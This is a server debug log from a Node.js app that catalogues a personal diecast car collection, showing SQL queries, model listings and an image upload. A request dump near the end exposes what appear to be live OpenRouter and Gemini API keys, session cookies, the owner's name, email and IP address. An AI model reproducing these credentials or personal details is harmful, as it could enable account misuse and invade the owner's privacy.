      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:47:59.064Z server-connect:output restrict: undefined
2026-02-04T10:47:59.064Z server-connect:app Executing action step select
2026-02-04T10:47:59.064Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:47:59.065Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:47:59.065Z server-connect:app Executing action step select
2026-02-04T10:47:59.065Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:47:59.065Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:47:59.066Z server-connect:app Executing action step select
2026-02-04T10:47:59.066Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:47:59.066Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:48:06.314Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:48:06.314Z server-connect:app Executing action step identify
2026-02-04T10:48:06.314Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:06.314Z server-connect:output identity: 1
2026-02-04T10:48:06.314Z server-connect:app Executing action step restrict
2026-02-04T10:48:06.314Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:06.315Z server-connect:output restrict: undefined
2026-02-04T10:48:06.315Z server-connect:app Executing action step condition
2026-02-04T10:48:06.315Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:48:06.315Z server-connect:app Executing action step update
2026-02-04T10:48:06.315Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:48:06.316Z server-connect:output update: { affected: 1 }
2026-02-04T10:48:06.316Z server-connect:app Executing action step upload
2026-02-04T10:48:06.316Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:48:06.316Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:48:06.316Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:48:06.316Z server-connect:upload Processing file: {
  name: 's-l1600 (16).webp',
  data: <Buffer >,
  size: 78496,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-51-20378841770202086313',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'd9361dae5a5610e77cd34403928e0f8b',
  mv: [Function: mv]
}
2026-02-04T10:48:06.316Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp',
  rel: 'public/assets/images/diecast/s-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp'
}
2026-02-04T10:48:06.316Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp',
  rel: 'assets/images/diecast/s-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp'
}
2026-02-04T10:48:06.316Z server-connect:output upload_image: [
  {
    name: 's-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp',
    path: '/public/assets/images/diecast/s-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp',
    url: '/assets/images/diecast/s-l1600_16_b1f68f66-01f8-47b0-a7fb-6bf23ae9394e.webp',
    type: 'image/webp',
    size: 78496
  }
]
2026-02-04T10:48:06.316Z server-connect:app Executing action step repeat
2026-02-04T10:48:06.316Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:48:06.316Z server-connect:app Executing action step insert
2026-02-04T10:48:06.316Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:06.317Z server-connect:output images: { affected: 1, identity: 202 }
2026-02-04T10:48:06.317Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:48:06.317Z server-connect:output condition: undefined
2026-02-04T10:48:06.619Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:06.619Z server-connect:app Executing action step identify
2026-02-04T10:48:06.619Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:06.619Z server-connect:output identity: 1
2026-02-04T10:48:06.619Z server-connect:app Executing action step restrict
2026-02-04T10:48:06.619Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:06.619Z server-connect:output restrict: undefined
2026-02-04T10:48:06.619Z server-connect:app Executing action step paged
2026-02-04T10:48:06.619Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:06.621Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:10.163Z server-connect:router Serving templateView /diecast
2026-02-04T10:48:10.164Z server-connect:app Executing action step identify
2026-02-04T10:48:10.164Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.164Z server-connect:output identity: 1
2026-02-04T10:48:10.164Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:10.164Z server-connect:output restrict: undefined
2026-02-04T10:48:10.164Z server-connect:router Render template layouts/main
2026-02-04T10:48:10.165Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '171',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=171&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:48:10.906Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:48:10.908Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:48:10.909Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:10.909Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:10.910Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:10.910Z server-connect:app Executing action step identify
2026-02-04T10:48:10.910Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.910Z server-connect:output identity: 1
2026-02-04T10:48:10.910Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.910Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.911Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:10.911Z server-connect:app Executing action step identify
2026-02-04T10:48:10.911Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.911Z server-connect:output identity: 1
2026-02-04T10:48:10.911Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.911Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.911Z server-connect:output restrict: undefined
2026-02-04T10:48:10.911Z server-connect:app Executing action step select
2026-02-04T10:48:10.911Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:48:10.912Z server-connect:app Executing action step identify
2026-02-04T10:48:10.912Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.912Z server-connect:output identity: 1
2026-02-04T10:48:10.912Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.912Z server-connect:output restrict: undefined
2026-02-04T10:48:10.912Z server-connect:app Executing action step single
2026-02-04T10:48:10.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:48:10.912Z server-connect:app Executing action step identify
2026-02-04T10:48:10.912Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.912Z server-connect:output identity: 1
2026-02-04T10:48:10.912Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.912Z server-connect:app Executing action step identify
2026-02-04T10:48:10.912Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.912Z server-connect:output identity: 1
2026-02-04T10:48:10.912Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.913Z server-connect:output restrict: undefined
2026-02-04T10:48:10.913Z server-connect:app Executing action step select
2026-02-04T10:48:10.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:10.913Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:48:10.913Z server-connect:app Executing action step identify
2026-02-04T10:48:10.913Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.913Z server-connect:output identity: 1
2026-02-04T10:48:10.913Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.913Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.914Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:48:10.914Z server-connect:output restrict: undefined
2026-02-04T10:48:10.914Z server-connect:app Executing action step select
2026-02-04T10:48:10.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:10.915Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
